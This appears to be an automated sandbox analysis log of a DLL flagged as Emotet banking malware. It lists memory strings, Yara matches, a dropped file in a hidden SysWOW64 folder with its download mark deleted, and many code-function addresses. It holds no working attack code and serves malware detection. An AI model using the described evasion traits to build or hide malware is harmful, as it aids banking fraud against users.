Source: svchost.exe, 00000018.00000003.393856935.000001E6A5995000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","A equals www.twitter.com (Twitter)

Source: svchost.exe, 00000018.00000002.411666750.000001E6A52E8000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000018.00000002.411666750.000001E6A52E8000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.18.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000012.00000003.346414857.00000000055BE000.00000004.00000001.sdmp, rundll32.exe, 00000012.00000003.347045018.0000000005590000.00000004.00000001.sdmp, rundll32.exe, 00000012.00000003.347166038.00000000055B6000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?b1afdd3bf6d13
Source: svchost.exe, 00000018.00000003.388724008.000001E6A595D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388810562.000001E6A5E02000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388740953.000001E6A5979000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: svchost.exe, 0000000D.00000002.312216539.0000027C67A13000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 00000003.00000002.808986189.0000026843644000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000003.00000002.808986189.0000026843644000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000003.00000002.808986189.0000026843644000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 00000003.00000002.808986189.0000026843644000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.comr
Source: svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000003.00000002.808986189.0000026843644000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000003.00000002.808986189.0000026843644000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000D.00000003.311173852.0000027C67A49000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000D.00000002.312248027.0000027C67A3D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000D.00000003.310880307.0000027C67A67000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000002.312284199.0000027C67A69000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000D.00000002.312260288.0000027C67A4B000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.311173852.0000027C67A49000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000D.00000003.287688148.0000027C67A31000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000D.00000002.312248027.0000027C67A3D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000D.00000003.311625138.0000027C67A41000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.311420754.0000027C67A40000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000002.312254295.0000027C67A42000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000D.00000003.311625138.0000027C67A41000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.311420754.0000027C67A40000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000002.312254295.0000027C67A42000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000D.00000003.311420754.0000027C67A40000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000002.312269483.0000027C67A5C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000018.00000003.388724008.000001E6A595D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388810562.000001E6A5E02000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388740953.000001E6A5979000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 0000000D.00000003.311173852.0000027C67A49000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000D.00000002.312269483.0000027C67A5C000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000D.00000002.312269483.0000027C67A5C000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000D.00000003.311173852.0000027C67A49000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000D.00000002.312248027.0000027C67A3D000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000D.00000003.287688148.0000027C67A31000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000D.00000002.312248027.0000027C67A3D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000D.00000002.312248027.0000027C67A3D000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000002.312216539.0000027C67A13000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000D.00000003.311420754.0000027C67A40000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.311559423.0000027C67A45000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000D.00000003.311420754.0000027C67A40000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.311559423.0000027C67A45000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000D.00000003.287688148.0000027C67A31000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000D.00000003.311709544.0000027C67A3A000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.287688148.0000027C67A31000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000D.00000002.312260288.0000027C67A4B000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.311173852.0000027C67A49000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
Source: svchost.exe, 00000018.00000003.388724008.000001E6A595D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388810562.000001E6A5E02000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388740953.000001E6A5979000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000018.00000003.388724008.000001E6A595D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388810562.000001E6A5E02000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388740953.000001E6A5979000.00000004.00000001.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 00000018.00000003.389559591.000001E6A597C000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.389828999.000001E6A599E000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.389643100.000001E6A59D6000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.389608441.000001E6A59D6000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 6_2_100012D0 recvfrom,

6_2_100012D0

Source: loaddll32.exe, 00000002.00000002.292296586.00000000015EB000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_1000FF59 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,	6_2_1000FF59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1000FF59 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,	7_2_1000FF59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_1000FF59 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,	12_2_1000FF59

E-Banking Fraud:

Yara detected Emotet

Show sources

Source: Yara match	File source: 9.2.rundll32.exe.4980000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.4800000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.47c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.25d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.4b30000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.4800000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.25c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3340000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4660000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4820000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4980000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.45b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4690000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.46f0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4850000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.49b0000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3370000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4580000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.3240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.3ff0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.4590000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.46c0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.4590000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.2600000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4660000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.25c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.3240000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.47a0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.47f0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.25d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.2920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.46c0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.2920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4580000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.4220000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4820000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.47d0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.47c0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.4830000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.45c0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.47a0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.288106949.0000000002920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295420739.00000000025D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.299662672.0000000004B31000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295926271.0000000004820000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322196530.00000000046F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295834893.0000000004691000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322096907.0000000004590000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295905840.00000000047F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322237408.00000000047A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295970010.0000000004980000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322126344.00000000045C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322324942.0000000004831000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322265167.00000000047D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295742622.0000000004580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295801770.0000000004660000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.321908815.0000000003FF1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322168517.00000000046C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295884974.00000000047C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.321798721.00000000025C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295946412.0000000004851000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.291064992.0000000003371000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.299581696.0000000003240000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295994852.00000000049B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295767081.00000000045B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.291040092.0000000003340000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322291454.0000000004800000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295442330.0000000002601000.00000020.00000001.sdmp, type: MEMORY

System Summary:

Source: 5o8zdV3GU3.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: C:\Windows\SysWOW64\Mumgmtegektiykh\kztyzxlvaam.cuq:Zone.Identifier

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Windows\SysWOW64\Mumgmtegektiykh\

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_10020011	6_2_10020011
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_100181CA	6_2_100181CA
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_1001929D	6_2_1001929D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_1002542D	6_2_1002542D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_100274AE	6_2_100274AE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_10026575	6_2_10026575
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_1001869D	6_2_1001869D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_1001178A	6_2_1001178A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_10016860	6_2_10016860
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_1002596F	6_2_1002596F
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_10022A5C	6_2_10022A5C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_10018A71	6_2_10018A71
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_1001AAB7	6_2_1001AAB7
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_1001CB16	6_2_1001CB16
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_10018E7D	6_2_10018E7D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_10025EB1	6_2_10025EB1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_042385FF	6_2_042385FF
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423EFDD	6_2_0423EFDD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04223431	6_2_04223431
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423DC71	6_2_0423DC71
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423A474	6_2_0423A474
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04227442	6_2_04227442
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422A445	6_2_0422A445
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04221CA1	6_2_04221CA1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423E4E5	6_2_0423E4E5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423CCD9	6_2_0423CCD9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04238D3D	6_2_04238D3D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423AD08	6_2_0423AD08
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04235515	6_2_04235515
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423654A	6_2_0423654A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04242D53	6_2_04242D53
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04237D5B	6_2_04237D5B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04233D85	6_2_04233D85
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04239DF5	6_2_04239DF5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_042255FF	6_2_042255FF
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423C5D5	6_2_0423C5D5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422C5D8	6_2_0422C5D8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04228636	6_2_04228636
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422DE74	6_2_0422DE74
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423567B	6_2_0423567B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04227E79	6_2_04227E79
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422E640	6_2_0422E640
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04232E5D	6_2_04232E5D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04233EAA	6_2_04233EAA
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_042436AA	6_2_042436AA
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_042446BD	6_2_042446BD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422C6B8	6_2_0422C6B8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04230EBC	6_2_04230EBC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04243EE9	6_2_04243EE9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423BEFD	6_2_0423BEFD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04221F38	6_2_04221F38
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422670B	6_2_0422670B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422EF0C	6_2_0422EF0C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04234F74	6_2_04234F74
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04239774	6_2_04239774
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04235779	6_2_04235779
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423FF58	6_2_0423FF58
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_042277A3	6_2_042277A3
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04238FAE	6_2_04238FAE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_042407AA	6_2_042407AA
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_042417BD	6_2_042417BD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_042257B8	6_2_042257B8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422BFBE	6_2_0422BFBE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04230F86	6_2_04230F86
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_042367E6	6_2_042367E6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422E7DE	6_2_0422E7DE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422B820	6_2_0422B820
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04238806	6_2_04238806
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04242009	6_2_04242009
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422A871	6_2_0422A871
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04227078	6_2_04227078
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423F840	6_2_0423F840
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422F0E9	6_2_0422F0E9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_042400EF	6_2_042400EF
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_042280C0	6_2_042280C0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423D8DB	6_2_0423D8DB
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423017B	6_2_0423017B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04232142	6_2_04232142
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422D14C	6_2_0422D14C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423E955	6_2_0423E955
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423D1BC	6_2_0423D1BC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04236187	6_2_04236187
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04222194	6_2_04222194
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423E1F8	6_2_0423E1F8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04239A01	6_2_04239A01
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04237A0F	6_2_04237A0F
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04240A64	6_2_04240A64
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04234A66	6_2_04234A66
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04243263	6_2_04243263
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04234244	6_2_04234244
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423B257	6_2_0423B257
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423A2A5	6_2_0423A2A5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422BAA9	6_2_0422BAA9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04230ABA	6_2_04230ABA
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0423CAD5	6_2_0423CAD5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04235333	6_2_04235333
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_04242B09	6_2_04242B09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10020011	7_2_10020011
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100181CA	7_2_100181CA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001929D	7_2_1001929D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1002542D	7_2_1002542D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100274AE	7_2_100274AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10026575	7_2_10026575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001869D	7_2_1001869D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001178A	7_2_1001178A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10016860	7_2_10016860
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1002596F	7_2_1002596F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10022A5C	7_2_10022A5C
